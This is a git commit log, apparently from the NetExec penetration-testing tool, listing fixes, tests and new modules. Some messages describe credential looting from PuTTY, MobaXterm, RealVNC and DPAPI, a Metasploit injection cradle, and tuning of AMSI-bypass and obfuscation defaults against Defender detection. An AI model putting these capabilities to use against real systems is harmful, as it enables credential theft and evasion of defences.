Compare commits

...
Author SHA1 Message Date
Alex 6858958864 Merge pull request #327 from Pennyw0rth/ItsAlwaysDNS
ItsAlwaysDNS
2024-05-29 16:44:09 +02:00
Alexander Neff 03e25b708f Merge branch 'main' into ItsAlwaysDNS 2024-05-29 10:30:04 -04:00
Alex 64319fdb3c Merge pull request #326 from Pennyw0rth/marshall-windows-fixes
Windows Fixes for v1.2
2024-05-29 16:27:03 +02:00
Alexander Neff 8db769e290 Fix tests and remove unnecessary abspath 2024-05-28 09:38:12 +02:00
Alexander Neff 20e01f92eb Version bump 2024-05-27 18:45:00 -04:00
Alexander Neff 9d70105230 More path fixes 2024-05-28 00:20:34 +02:00
Alexander Neff 69e47d15cb Fix issues with hardcoded /tmp 2024-05-27 23:17:30 +02:00
Alexander Neff bd7202d2c5 Fix test suite 2024-05-27 23:07:13 +02:00
Alexander Neff 63a78cb176 Fix ssh tests 2024-05-27 02:52:58 -04:00
Alexander Neff b6c57ce13a Change only git bash encoding to utf8 2024-05-27 08:05:09 +02:00
Alex 928b0d947e Add utf-8 default to testing suite 2024-05-26 19:14:12 +02:00
Alex 68fb2d3e86 Change default encoding to utf-8 2024-05-26 19:04:36 +02:00
Alex 1111e11108 Add executable testing 2024-05-26 18:24:36 +02:00
Alexander Neff d0f07b4138 Fix spec file for smb 2024-05-26 07:26:21 -04:00
Marshall Hallenbeck 53646f9d31 Merge branch 'main' into marshall-windows-fixes
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-25 11:02:18 -05:00
Alex b855dac2b6 Merge pull request #315 from Pennyw0rth/neff-e2e_tests 2024-05-25 17:26:36 +02:00
Alexander Neff 404bff5e26 Merge branch 'main' into neff-e2e_tests 2024-05-25 10:51:19 -04:00
zblurx ad923f842d Merge pull request #225 from Pennyw0rth/passwords_dump_update
Passwords dump update
2024-05-25 13:44:53 +02:00
Marshall Hallenbeck 49f6f9cbfd Merge branch 'main' into neff-e2e_tests
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-24 10:07:28 -05:00
Marshall Hallenbeck f060aeb75f Merge branch 'main' into passwords_dump_update
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-24 09:58:28 -05:00
Marshall Hallenbeck 630d32592e Merge pull request #325 from Fabrizzio53/main
Added --dns-tcp,--dns-timeout and --dns-server parameters to the ldap protocol when using --bloodhound
2024-05-24 09:55:37 -05:00
Fabrizzio53 a4e9ef21ce Update proto_args.py
Signed-off-by: Fabrizzio53 <[email protected]>
2024-05-23 23:22:16 -03:00
Fabrizzio53 ddb89b9a4b Update ldap.py
Signed-off-by: Fabrizzio53 <[email protected]>
2024-05-23 23:21:57 -03:00
Marshall Hallenbeck 40862382f1 Merge pull request #321 from Pennyw0rth/marshall-options-fix
Refactor argparse options
2024-05-23 20:13:00 -05:00
Marshall Hallenbeck 3def5487ee fix: add back in option that was accidentally removed during merge conflict 2024-05-23 20:00:03 -04:00
Marshall Hallenbeck 6b92270a38 fix(slinky): use proper TMP and allow custom shares to ignore 2024-05-23 11:07:36 -04:00
Marshall Hallenbeck 9879edffca fix(paths): change TMP creation to if/else, so Windows properly sets 2024-05-23 11:07:05 -04:00
Marshall Hallenbeck 0983f7950e dns: allow DNS options to be called anywhere on the command line 2024-05-22 17:08:34 -04:00
Marshall Hallenbeck 12a7fa0b2f Merge branch 'main' into marshall-options-fix
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-22 15:11:49 -05:00
Marshall Hallenbeck 2191deebce Merge pull request #309 from Pennyw0rth/neff-add-ldapquery
Add ldap query option
2024-05-22 15:06:01 -05:00
Marshall Hallenbeck db41c0893a Merge pull request #317 from Pennyw0rth/neff-command-execution
Improving execution speed and misc command execution improvements
2024-05-22 15:05:38 -05:00
Marshall Hallenbeck 06b1e066ba Merge pull request #307 from Pennyw0rth/marshall-wcc-fix
Fix: WCC Module - do not create log file on every file load
2024-05-22 15:04:22 -05:00
zblurx 9d6188eadf fix doublespace 2024-05-22 10:06:01 +02:00
Marshall Hallenbeck 16508f89d4 Merge branch 'main' into marshall-options-fix
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-21 14:46:09 -05:00
Marshall Hallenbeck ab23659c7f fix(wcc): reduce spammy output for wcc (will fix this in a better way later); closes #232 2024-05-21 14:38:50 -05:00
Marshall Hallenbeck 42642016ba remove newline
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-21 14:38:50 -05:00
Marshall Hallenbeck 6fdead466e fix(wcc): remove unnecessary comments and whitespace
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-21 14:38:50 -05:00
Marshall Hallenbeck d91e15413e fix(wcc): do not create the wcc log file every time -L is ran, etc 2024-05-21 14:38:50 -05:00
Marshall Hallenbeck de2541e212 tests: add more exec-method testss 2024-05-21 14:55:11 -04:00
zblurx dba83a43f9 multiple fixes 2024-05-21 20:29:42 +02:00
Marshall Hallenbeck 4d6b3b3f71 tests: add exec-method tests for cmd 2024-05-21 13:09:01 -04:00
zblurx 67de1a1fa1 fix on dpapiSystem object 2024-05-21 17:49:51 +02:00
Marshall Hallenbeck 4afc67422a ruff: apply ruff 2024-05-21 11:30:27 -04:00
Marshall Hallenbeck cfbfeec7a7 tests: just always print failures, and remove option; update tmp folder logic, add put/get file tests for smb, and fix file referencing in tests 2024-05-21 11:30:07 -04:00
zblurx 57f35d453c fix error message condition 2024-05-21 14:45:02 +02:00
zblurx 8a0dcf0429 Merge branch 'main' into passwords_dump_update
Signed-off-by: zblurx <[email protected]>
2024-05-21 14:24:24 +02:00
zblurx dd7cbb6e74 fix ruff warnings 2024-05-21 14:19:06 +02:00
zblurx 85c44fa7bd update e2e 2024-05-21 14:15:47 +02:00
zblurx 7e90d8082f fixed sccm 2024-05-21 14:15:22 +02:00
zblurx 9b74ea59c3 update vnc 2024-05-21 12:46:05 +02:00
zblurx 1c740bd199 changed sccm to go as a core option 2024-05-21 10:39:01 +02:00
zblurx f530cbdc58 add e2e commands for mremoteng and mobaxterm 2024-05-21 10:21:25 +02:00
zblurx a07ee5f23f update vnc module 2024-05-21 10:14:36 +02:00
Marshall Hallenbeck f3b73ffdf2 fix(mssql): check if output isnt an empty list/None before trying to stringify it for output 2024-05-20 16:05:44 -04:00
Alexander Neff b0e9fe24f9 Fix test paths 2024-05-20 13:50:31 -04:00
Alexander Neff f58d7385aa Merge branch 'main' into neff-e2e_tests 2024-05-20 12:54:36 -04:00
Alexander Neff 837f9a04a2 Fix "tries" logic due to merge and beautify code 2024-05-20 12:48:52 -04:00
Alexander Neff 2e73007281 Merge branch 'main' into neff-command-execution 2024-05-20 12:36:27 -04:00
Marshall Hallenbeck cf231d5985 Merge pull request #296 from Pennyw0rth/marshall-pwsh-update
Refactor/fix/update PowerShell and related features
2024-05-20 11:27:28 -05:00
Marshall Hallenbeck 23a7d11eeb fix: revert output for command execution and normalize it to what SMB was 2024-05-20 12:23:57 -04:00
Marshall Hallenbeck e10e38f152 Merge branch 'main' into marshall-pwsh-update
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-20 11:09:01 -05:00
Marshall Hallenbeck f8655022cf fix(smb): change command output back to match mssql (one big blob) 2024-05-20 12:11:17 -04:00
Marshall Hallenbeck d0a4afe19b Merge pull request #196 from XiaoliChan/dns
[DNS] Add DNS args
2024-05-20 10:55:50 -05:00
Alex ca01584f76 Merge pull request #318 from Pennyw0rth/Marshall-Hallenbeck-patch-1
fix(tests): add spaces & fix one file reference
2024-05-20 17:54:49 +02:00
Marshall Hallenbeck bda8700a58 fix(tests): add spaces & fix one file reference
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-20 11:46:52 -04:00
Alexander Neff 447d1719c1 Add exec methods to e2e tests 2024-05-20 11:14:01 -04:00
Alexander Neff 4ffcc83bcc Make execution methods more efficient and wait powershell execution if detectable 2024-05-20 10:50:48 -04:00
Alexander Neff 5655e5c0fd Replace fixed default text with argparse default string 2024-05-20 09:33:46 -04:00
Alexander Neff 9be17e92d9 Fix wrong function call 2024-05-20 06:11:33 -04:00
Alexander Neff 0166a426f0 Merge branch 'main' into dns 2024-05-20 05:57:38 -04:00
Marshall Hallenbeck 65030d7662 Merge pull request #313 from Pennyw0rth/neff-fix-ssh
Handle paramiko error when bruteforcing
2024-05-19 16:47:00 -05:00
Marshall Hallenbeck 198f8f8a79 Merge pull request #314 from Pennyw0rth/marshall-tests-fix
Fix for tests referencing files, password/username variable, and a couple KERBEROS space issues
2024-05-19 16:46:13 -05:00
Marshall Hallenbeck 47b1c1f738 fix(wmi): add auth_level to kerberos auth, revert my previous changes, move Impacket silencing, add debugging 2024-05-19 17:41:38 -04:00
Alexander Neff 4bc012655d Remove left over code 2024-05-19 17:12:01 -04:00
Alexander Neff 1fce072cbe Merge branch 'marshall-tests-fix' into neff-e2e_tests 2024-05-19 17:00:10 -04:00
Alexander Neff c1d52364b3 Removing retries logic 2024-05-19 16:51:49 -04:00
Marshall Hallenbeck 2f098f2420 fix(tests): improve data directory finding so you can run tests in root dir or tests dir and the path names should resolve 2024-05-19 15:17:51 -05:00
Alexander Neff d2760dc287 Added error handling for paramiko internals 2024-05-19 13:06:01 -04:00
Alexander Neff 7cf94d297b Create connection object for every auth request 2024-05-19 12:36:19 -04:00
Alexander Neff 393b607a1b Adding a banner_timeout as this might fix #312 according to https://github.com/paramiko/paramiko/issues/1752#issuecomment-979219861 2024-05-19 08:59:12 -04:00
Alexander Neff a98bfab28d Add timeout to the plaintext login 2024-05-19 08:51:42 -04:00
Alexander Neff 407e707847 Remove --options tests as they dont provide any additional value 2024-05-19 08:48:16 -04:00
Alexander Neff 5e255bc17c Fix brute force tests with cwd path 2024-05-18 21:12:09 -04:00
Alexander Neff 18d519dd68 Disable rdp module and add putty tests 2024-05-18 21:09:24 -04:00
Alexander Neff b3c1e4f5c2 Delete deprecated bh_owned module 2024-05-18 21:08:55 -04:00
Alexander Neff 45b03e78d5 Improve testing and add retries 2024-05-18 21:08:20 -04:00
Marshall Hallenbeck 65a41b8408 Merge branch 'main' into dns 2024-05-17 19:37:10 -05:00
Marshall Hallenbeck 5197a0eaf3 Merge pull request #310 from Pennyw0rth/marshall-pr-template-fix
fix: move PR template to the correct location
2024-05-17 19:26:23 -05:00
Marshall Hallenbeck e2e0297a3a Merge remote-tracking branch 'XiaoliChan/dns' into pr-196 2024-05-17 19:37:59 -04:00
Marshall Hallenbeck 95ac1af00a fix(wmi): handle Kerberos auth failures and return proper error codes 2024-05-17 19:33:58 -04:00
Alex 078b0ff451 Merge branch 'main' into dns 2024-05-18 01:20:16 +02:00
Marshall Hallenbeck cdd62033ea fix: move PR template to the correct location 2024-05-17 19:14:18 -04:00
Alexander Neff a2d43caa2a Add ldap query option 2024-05-17 13:24:09 -04:00
Marshall Hallenbeck cd088a0bd7 fix(ruff): ignore oneliner alert 2024-05-17 12:25:26 -04:00
Marshall Hallenbeck 736db4dbd7 update force_ps32 if/then for readability (and add Ruff ignore - blame Neff!) 2024-05-17 11:10:05 -04:00
Marshall Hallenbeck 6213c6456d remove blank line 2024-05-17 10:56:54 -04:00
Marshall Hallenbeck 4ae085403d remove excess tab 2024-05-17 10:56:29 -04:00
Marshall Hallenbeck e4925d301d clarify debug message 2024-05-17 10:53:53 -04:00
Marshall Hallenbeck ca3291877a update error when execution is blocked by AMSI 2024-05-17 10:52:57 -04:00
Marshall Hallenbeck 0910b98af6 docs: update options to clarify what certain flags are for 2024-05-17 10:51:52 -04:00
Marshall Hallenbeck aa9b044e7b Merge pull request #308 from Pennyw0rth/marshall-hash-spider-fix
Fix: hash_spider Lsassy Parser syntax
2024-05-17 09:29:27 -05:00
Alexander Neff 34c3c29266 Remove hash_spider setting logging attributes (they are wrong anyway) 2024-05-17 10:19:32 -04:00
Marshall Hallenbeck 730b57248d fix(hash_spider): update calling lsassy Parser since it was changed 4 months ago 2024-05-17 09:28:55 -04:00
Marshall Hallenbeck 98244994b9 tests: add hash spider test db to gitignore 2024-05-17 09:28:31 -04:00
Marshall Hallenbeck 152958ed13 fix: remove restrictions on smb and ldap port choice 2024-05-16 21:09:40 -04:00
Marshall Hallenbeck eb7707a076 refactor(args): update remaining protos to use new default formatter for printing arg defaults 2024-05-16 21:08:44 -04:00
Marshall Hallenbeck 913c760115 tests: re-enable rdp options and fix wmi rdp call 2024-05-16 20:51:39 -04:00
Marshall Hallenbeck c06198807d fix(cli): remove secondary aeskey and kdchost long form options since its not possible to use two 2024-05-16 20:49:32 -04:00
Alex 7b5306c92c Merge branch 'main' into marshall-pwsh-update 2024-05-17 02:24:25 +02:00
Marshall Hallenbeck 66bdcdf1ab fix command exec method group naming 2024-05-16 20:16:44 -04:00
Marshall Hallenbeck b5bc29db25 feat(args): add additional, more pythonic options for cmd args 2024-05-16 20:15:50 -04:00
Marshall Hallenbeck 12141907df feat(smb): show defaults if not None/empty if they are set 2024-05-16 20:13:30 -04:00
Marshall Hallenbeck f021cde6f4 refactor(args): change Authentication to its own arg section and show defaults if set and not None/empty/etc 2024-05-16 20:12:51 -04:00
Marshall Hallenbeck e16a66af6d refactor(smb args): update smb arg parsing naming to make sense 2024-05-16 19:51:27 -04:00
Marshall Hallenbeck 70a99a7da5 feat(options): change how args are parsed and passed, allowing --debug, etc to be used anywhere 2024-05-16 18:26:18 -04:00
Marshall Hallenbeck e3baadb108 Merge pull request #249 from Pennyw0rth/neff-putty
Add PuTTY module and fix WinSCP
2024-05-16 13:44:41 -05:00
mpgn c7c1f06323 Merge pull request #265 from Pennyw0rth/mpgn-patch-1
Update test.yml to include pipx install
2024-05-16 16:46:12 +02:00
mpgn d23669b5d0 Update test.yml
Signed-off-by: mpgn <[email protected]>
2024-05-16 08:53:37 +02:00
mpgn b1b64a8e23 Update test.yml to remove line
Signed-off-by: mpgn <[email protected]>
2024-05-16 08:53:37 +02:00
mpgn c64366068c Update test.yml to include pipx install
#252 

Signed-off-by: mpgn <[email protected]>
2024-05-16 08:53:37 +02:00
Alexander Neff 59c6033bc7 Add proxycreds saving to file 2024-05-15 19:27:04 -04:00
Alex 94a0b7adad Merge pull request #305 from Pennyw0rth/neff-patch-bloodhound 2024-05-15 02:15:09 +02:00
Alexander Neff faf7f18224 Revert a9bd576392 2024-05-14 20:09:52 -04:00
Alexander Neff a79680aeff Add timestamp to save file 2024-05-14 19:39:42 -04:00
Marshall Hallenbeck a194fda283 Merge pull request #298 from termanix/patch-2
Update e2e_commands.txt
2024-05-14 12:54:03 -05:00
Marshall Hallenbeck 9f61d8ba3b Merge pull request #304 from Pennyw0rth/fix-dependency
fix issue #252
2024-05-14 12:53:48 -05:00
mpgn aff33d677e fix issue #252 2024-05-14 17:09:01 +02:00
Alexander Neff f4bac9b92f Revert logging change to original state 2024-05-12 18:52:34 -04:00
Alexander Neff d644ac1499 Correct comment 2024-05-12 18:46:11 -04:00
Alexander Neff f92f7f585f Merge branch 'main' into dns 2024-05-12 18:44:22 -04:00
Alexander Neff 06e107dd10 Remove "remoteHost" in favour of "host" to keep only one variable, also some formatting 2024-05-12 18:35:05 -04:00
Marshall Hallenbeck 76a01909bb Merge pull request #299 from Pennyw0rth/Marshall-Hallenbeck-patch-1
Create Pull Request Template
2024-05-12 14:48:52 -05:00
Alex c699c6da74 Merge pull request #291 from Pennyw0rth/neff-jitter
Change jitter option to throttle authentications
2024-05-12 20:42:35 +02:00
Alex 0cf9d72983 Merge pull request #282 from wumb0/281-multi-file-put 2024-05-12 11:58:37 +02:00
Alex 6c148c6ac8 Merge branch 'main' into neff-putty 2024-05-12 02:56:45 +02:00
Marshall Hallenbeck c56f08704e Merge branch 'main' into marshall-pwsh-update
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-11 19:36:08 -05:00
Alexander Neff 4cc6676e12 Renaming input target variable inside connection object 2024-05-11 18:00:30 -04:00
Alexander Neff f49f890226 Formating and stuff 2024-05-11 15:20:13 -04:00
Marshall Hallenbeck 574afc0d5e Merge branch 'main' into 281-multi-file-put 2024-05-11 11:38:45 -05:00
Marshall Hallenbeck 535a1061b6 Merge pull request #297 from Pennyw0rth/marshall-tests-byid
Feat: Allow for running specific e2e tests by line number
2024-05-10 18:43:12 -05:00
Alexander Neff 93441f2190 Add screenshot section to PR template 2024-05-10 17:41:09 -04:00
Marshall Hallenbeck daede6d00a fix english 2024-05-10 15:52:11 -04:00
Marshall Hallenbeck 5c39381dfc docs: update feature_request.md to include proper template code 2024-05-10 15:51:28 -04:00
Marshall Hallenbeck aedfc37a19 Create pull_request_template.md
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-10 15:44:24 -04:00
Marshall Hallenbeck 0586d844a7 fix(tests): only print failure line if there were failures 2024-05-10 15:30:36 -04:00
termanix 9e68ba5602 Update e2e_commands.txt
WMI moved to after SMB, removed a few flags for now.

Signed-off-by: termanix <[email protected]>
2024-05-10 22:22:02 +03:00
termanix 3b1ca12ef0 Update e2e_commands.txt
Removed bitlocker modules for adding to #286

Signed-off-by: termanix <[email protected]>
2024-05-10 21:57:02 +03:00
Marshall Hallenbeck a5e61bf6ac feat(tests): allow for specifying certain line numbers, allow for printing all failed commands, and properly use single quotes for linux 2024-05-10 14:48:09 -04:00
termanix bb8f30bd9f Update e2e_commands.txt
Added SMB bitlocker module, added WMI some flags and all modules.

Signed-off-by: termanix <[email protected]>
2024-05-10 21:46:58 +03:00
Marshall Hallenbeck 27a0b78a86 tests: add and update tests related to powershell 2024-05-10 11:37:59 -04:00
Marshall Hallenbeck ca74acd1b1 fix(met_inject): simplify metasploit cradle, add logging, and update documentation; related to #223 2024-05-10 11:37:41 -04:00
Marshall Hallenbeck 27014a5b25 feat(powershell): large amount of fixes and improvements
- large amount of debugging added to powershell
- powershell helper refactored to fix obfuscation, running in 32 bit mode, encoding, etc
- turn off obfuscation by default for powershell, since defender picks it up easily
- turn off amsi-bypass by default, since it was an incredibly old signatured bypass (users can still pass in their own)
- check if virus detected in wmiexec
- more error checking for powershell
- update mssql powershell to match smb
- more error checking for mssql queries
- better handling of quotes for powershell queries, since we have almost 4 layers of quoting (python, mssql, cmd, powershell)
2024-05-10 11:32:16 -04:00
Marshall Hallenbeck 90877ddd63 feat(tests): allow for specifying certain line numbers, allow for printing all failed commands, and properly use single quotes for linux 2024-05-10 10:59:40 -04:00
Marshall Hallenbeck 85bcbf312c fix(powershell): fix running via ps32, both with and without obfuscation 2024-05-09 13:06:25 -04:00
Marshall Hallenbeck eb9bf61790 powershell: update powershell parameters, clean up code, and add debugging 2024-05-09 11:58:29 -04:00
Marshall Hallenbeck 2172231729 refactor: remove unnecessary new lines 2024-05-08 14:49:57 -04:00
Alexander Neff f0b2d3984c Add more jitter to e2e tests 2024-05-08 13:59:43 -04:00
Marshall Hallenbeck 04df1e7641 smb: properly obfs or not depending on args 2024-05-08 12:24:57 -04:00
Marshall Hallenbeck e342c3e26f tests: add what was our default amsi bypass for testing 2024-05-08 12:24:37 -04:00
Marshall Hallenbeck b219e8f7e0 pwsh: remove commented code and remove easily detected amsi bypass (default to none) 2024-05-08 12:24:18 -04:00
Alexander Neff 97c729c62d Add jitter to e2e tests 2024-05-08 06:31:16 -04:00
Marshall Hallenbeck 61a2cf1a72 Merge branch 'main' into dns 2024-05-05 17:52:02 -05:00
Alexander Neff a2f856d6c4 Add comments 2024-05-05 17:58:45 -04:00
Alexander Neff 2770a52ed8 Convert jitter into authentication throttle 2024-05-05 17:51:19 -04:00
Marshall Hallenbeck a677b37414 Merge pull request #290 from Pennyw0rth/marshall-fix-logging
Reduce third party debug logging
2024-05-05 12:15:19 -05:00
Alexander Neff 4b4036a5a1 Fixing password decryption length 2024-05-05 12:29:49 -04:00
Alexander Neff 193d49cee9 Add realvnc proxy credential looting 2024-05-05 11:26:46 -04:00
Marshall Hallenbeck 8560f7b921 Merge branch 'main' into dns 2024-05-04 14:30:58 -05:00
Marshall Hallenbeck 0ca3c43f02 fix(logger): set overall logging level to INFO for third party loggers instead of DEBUG when --debug is set 2024-05-03 15:48:49 -04:00
Marshall Hallenbeck 045a9649fd fix(logger): set exc_text to error text if it is none (found via 288) 2024-05-03 15:36:40 -04:00
Alex 25f0b59842 Merge pull request #285 from Pennyw0rth/neff-fix-bin 2024-04-30 20:55:26 +02:00
Alexander Neff d8bd8e14b9 Fix #284 2024-04-30 14:35:30 -04:00
Alexander Neff e1f4759faf Merge main into passwords_dump_update 2024-04-29 17:02:12 -04:00
wumb0 3216380291 Merge branch 'main' into 281-multi-file-put 2024-04-29 13:09:03 -04:00
wumb0 abfd76cf4f remove uneeded logic from put_file and get_file 2024-04-29 09:10:39 -04:00
Alex 4eb9838cfb Merge pull request #283 from Pennyw0rth/Marshall-Hallenbeck-patch-1 2024-04-29 02:48:02 +02:00
Marshall Hallenbeck f1976ac721 Create feature_request.md
add generic feature_request template from https://github.com/go-fed/activity/blob/master/.github/ISSUE_TEMPLATE/feature-request-template.md

Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-04-28 19:32:39 -05:00
wumb0 fe1064b333 also added multi-file get 2024-04-28 12:46:13 -04:00
wumb0 8fb9bc0d75 add multi-file put, keeping compatibiltiy with old format (tuple) -
Pennyw0rth/NetExec#281
2024-04-28 12:39:37 -04:00
Marshall Hallenbeck 52d45116e4 Merge pull request #269 from Pennyw0rth/neff-dependencies
Updating dependencies
2024-04-27 20:01:21 -05:00
Alexander Neff ab5966f8d9 Fix lint error 2024-04-27 18:38:44 -04:00
Alex c2a266923f Merge branch 'main' into neff-dependencies 2024-04-28 00:35:16 +02:00
Alex 62dcc28048 Merge pull request #250 from Pennyw0rth/neff-fix-modules
Fix bug where modules would be the same object across protocols
2024-04-28 00:15:16 +02:00
Marshall Hallenbeck 9a054871c4 Merge pull request #271 from Pennyw0rth/neff-asreproast
Fixing #263
2024-04-27 15:57:36 -05:00
Marshall Hallenbeck 60db63436e Merge pull request #277 from sepauli/sepauli/fix-mssql_priv
fix mssql_priv
2024-04-27 15:37:54 -05:00
Alexander Neff d7918cd655 Fix context logger in different modules 2024-04-27 16:34:11 -04:00
Alexander Neff 768d462844 Fix context logger in mssql_priv 2024-04-27 08:51:00 -04:00
sepauli a6271cef24 fix is_admin_user function 2024-04-26 23:58:51 +02:00
sepauli fe0ec9c040 fix mssql_priv 2024-04-26 23:29:00 +02:00
Alexander Neff 0d84189d7f Show exception only in debug mode 2024-04-25 15:45:28 -04:00
Marshall Hallenbeck 0ffa19debf Merge pull request #272 from Pennyw0rth/neff-fix-ssh
Fix ssh auth message
2024-04-25 10:09:57 -04:00
Alexander Neff 18c3fd0b30 Add msldap to fix #274 2024-04-23 18:16:10 -04:00
Alexander Neff d9ce7a45df Keep backwards compatability with datetime 2024-04-21 16:55:48 -04:00
Alex 1f8a0ef491 Merge pull request #270 from exploide/ldap-checker-py3.12
ldap-checker: fix for Python 3.12 compatibility
2024-04-21 15:28:08 -04:00
Alex 1ca2fd51b2 Merge pull request #248 from termanix/update_active_users
Ldap active users bug fix
2024-04-21 15:04:13 -04:00
Alexander Neff 71f9fdaa3f Change privilege feedback 2024-04-21 14:03:40 -04:00
Alexander Neff 5208c42aaa Fix ssh auth message 2024-04-21 12:53:49 -04:00
exploide b08c509b3c ldap-checker: use SSLContext.wrap_socket() instead of ssl.wrap_socket() for Python 3.12+ compatibility 2024-04-21 17:44:47 +02:00
Alexander Neff f649c04d0d Check if we got a TGT 2024-04-21 11:16:35 -04:00
Alexander Neff 798770479a Remove deprecated utcnow() function, add better exception handling and fix bug where bool instead of None would be returned 2024-04-21 11:10:28 -04:00
Alexander Neff 12779c43f4 Change strings to format strings, to prevent concatination errors 2024-04-21 11:09:46 -04:00
Alexander Neff 32bc19a0d5 Add logging statement if useraccountcontrol is none 2024-04-21 10:44:50 -04:00
Alexander Neff bc4416d567 Change CRLF to LF to match all other files 2024-04-20 20:03:22 -04:00
Marshall Hallenbeck 84cecd5968 Merge branch 'main' into dns 2024-04-20 13:41:26 -04:00
Alexander Neff 992ddc82b4 Updating dependencies to reflect critically needed packages and current kali installations 2024-04-19 21:39:48 -04:00
Alexander Neff f0fa89b88d Sorting dependencies 2024-04-19 20:58:47 -04:00
Alexander Neff f3fd612b56 Update lsassy to 3.1.10 2024-04-18 15:07:10 +02:00
mpgn cd363e97ad Update lsassy.py
it's breaking since update to 3.1.9

Signed-off-by: mpgn <[email protected]>
2024-04-18 15:07:10 +02:00
Alex 4e98f7bb02 Merge pull request #259 from Pennyw0rth/fix_computers_enum 2024-04-17 17:50:42 -04:00
zblurx 16c6ebfe1a fix computers enum 2024-04-17 13:07:25 +02:00
Alex 9662ef69a2 Merge pull request #257 from Pennyw0rth/neff-fix-too-many-files
Fix "Too many open files"
2024-04-16 14:33:03 -04:00
Alexander Neff 5d70195b93 Fix "Too many files" error from discord 2024-04-16 14:02:04 -04:00
Marshall Hallenbeck 7d44b11c2b Merge pull request #255 from Pennyw0rth/marshall-slinky-update
Update Slinky module
2024-04-15 20:09:11 -07:00
Marshall Hallenbeck 9e43aab3ee revert STATUS_LOGON_FAILURE change 2024-04-15 13:40:00 -04:00
Marshall Hallenbeck 89d3790aa4 feat(slinky): add SHARES and ICO_URI options; no longer try to write to SYSVOL share 2024-04-13 10:50:21 -07:00
Marshall Hallenbeck fcecda3696 smb(errors): add STATUS_LOGON_FAILURE to errors 2024-04-13 10:50:21 -07:00
Alex 46a97cc3a3 Merge branch 'main' into neff-fix-modules 2024-04-13 02:23:16 +02:00
Alex d19b5243f1 Merge pull request #254 from Pennyw0rth/neff-ssh
Fix ssh authentication with encrypted ssh file
2024-04-13 01:42:59 +02:00
Alexander Neff 4cabffb525 Fix ssh auth with all key files and fix password processing, also add better exception handling 2024-04-12 16:00:05 -04:00
Alexander Neff b0ccbe28e9 Fix ssh authentication with encrypted ssh file 2024-04-12 15:27:35 -04:00
XiaoliChan b39198aef7 Merge branch 'main' into dns
Signed-off-by: XiaoliChan <[email protected]>
2024-04-12 23:31:35 +08:00
Marshall Hallenbeck af9656eaee Merge pull request #251 from scottymiller9/main
fixed one grammar error repeated in several files
2024-04-08 11:31:26 -07:00
Scott Miller ca09910606 fixed one grammar error repeated in several files 2024-04-08 05:25:06 +00:00
Alex 32b96c23fb Merge branch 'main' into update_active_users 2024-04-07 16:17:28 +02:00
Alexander Neff 60c95ba8f6 Add proxy username and password 2024-04-06 19:55:27 -04:00
Alexander Neff 06415348dc Fix bug where modules would be the same object across protocols 2024-04-06 14:07:05 -04:00
Marshall Hallenbeck 9359ac26da Merge pull request #237 from Pennyw0rth/marshall-bugfix-3292024
bugfixes: add-computer & nanodump modules
2024-04-05 10:47:51 -07:00
Alex 2d7ac3c8f1 Merge pull request #246 from Pennyw0rth/neff-fix-168 2024-04-05 13:09:38 -04:00
Alex b123a4dc8f Merge branch 'main' into neff-putty 2024-04-05 12:02:37 -04:00
Alexander Neff a03e7720ed Add class annotation and module description 2024-04-05 11:56:25 -04:00
Alexander Neff 4ab7a39d25 Improve Code 2024-04-05 11:53:30 -04:00
Alexander Neff b5b2598995 Clean up code 2024-04-05 11:29:46 -04:00
Alexander Neff b85543d93c Change output formating 2024-04-05 11:21:56 -04:00
Alexander Neff 9b57d62354 Remove conusing example init parameter 2024-04-05 11:20:05 -04:00
Alexander Neff 52dd4fea15 Fix bug when registry for master password check does not exist 2024-04-05 10:56:15 -04:00
Alexander Neff 2f32d18f18 Improve code 2024-04-05 10:47:45 -04:00
Alexander Neff 4b8a44e64b Add putty module 2024-04-05 10:28:43 -04:00
termanix 09f45e866c Update ldap.py
Fixed ruff spaces

Signed-off-by: termanix <[email protected]>
2024-04-04 23:35:05 +03:00
termanix 98e7128293 Update ldap.py
Fixed ruff

Signed-off-by: termanix <[email protected]>
2024-04-04 23:31:09 +03:00
termanix 3523cd69cf Update ldap.py
Change variable name.

Signed-off-by: termanix <[email protected]>
2024-04-04 22:22:53 +03:00
termanix bd5a645571 Ldap active users bug fix 2024-04-04 22:17:53 +03:00
Alex 2f62e1c875 Merge pull request #247 from Pennyw0rth/neff-fix-binary 2024-04-04 14:54:13 -04:00
Alex 044f63b8f3 Merge branch 'main' into neff-fix-binary 2024-04-04 13:38:58 -04:00
Alexander Neff 0a42ebb6ec Add missing packages to spec file, fixing ldap and pso module 2024-04-04 12:20:38 -04:00
Alex 6104b5d27b Merge branch 'main' into marshall-bugfix-3292024 2024-04-04 11:59:28 -04:00
Alex 3be7a02810 Merge pull request #244 from Pennyw0rth/neff-fix-145
Fix tmp PATH on windows for msol and scuffy
2024-04-04 11:59:06 -04:00
Alexander Neff 13ca79f44f Add verbosity to dpapi, so the user knows if no secrets were found 2024-04-04 11:49:31 -04:00
XiaoliChan 393bc40e8c Bug fix
Signed-off-by: XiaoliChan <[email protected]>
2024-04-04 00:23:09 +08:00
Alexander Neff dbc67e5ef8 Remove left over brackets 2024-04-03 11:05:07 -04:00
XiaoliChan 3f1fa69bdc remove condition
Signed-off-by: XiaoliChan <[email protected]>
2024-04-03 22:55:34 +08:00
Alex 34ebd5ad54 Fix tmp PATH on windows 2024-04-03 16:52:07 +02:00
XiaoliChan f5bb1fc65f Conflict fix
Signed-off-by: XiaoliChan <[email protected]>
2024-04-03 22:49:37 +08:00
zblurx 1f2a29fb90 update poetry 2024-04-03 15:19:54 +02:00
zblurx 205b31b08a update poetry.lock 2024-04-03 10:44:00 +02:00
zblurx 8a23958bd7 update pyproject.toml 2024-04-03 10:43:18 +02:00
zblurx f00a3ae483 Merge branch 'main' into passwords_dump_update
Signed-off-by: zblurx <[email protected]>
2024-04-03 10:40:50 +02:00
zblurx 6e28e3580d add mobaxterm module 2024-04-03 10:37:24 +02:00
Alex 5c249d59e5 Merge pull request #239 from Pennyw0rth/marshall-version-setting
Add git commit to version command
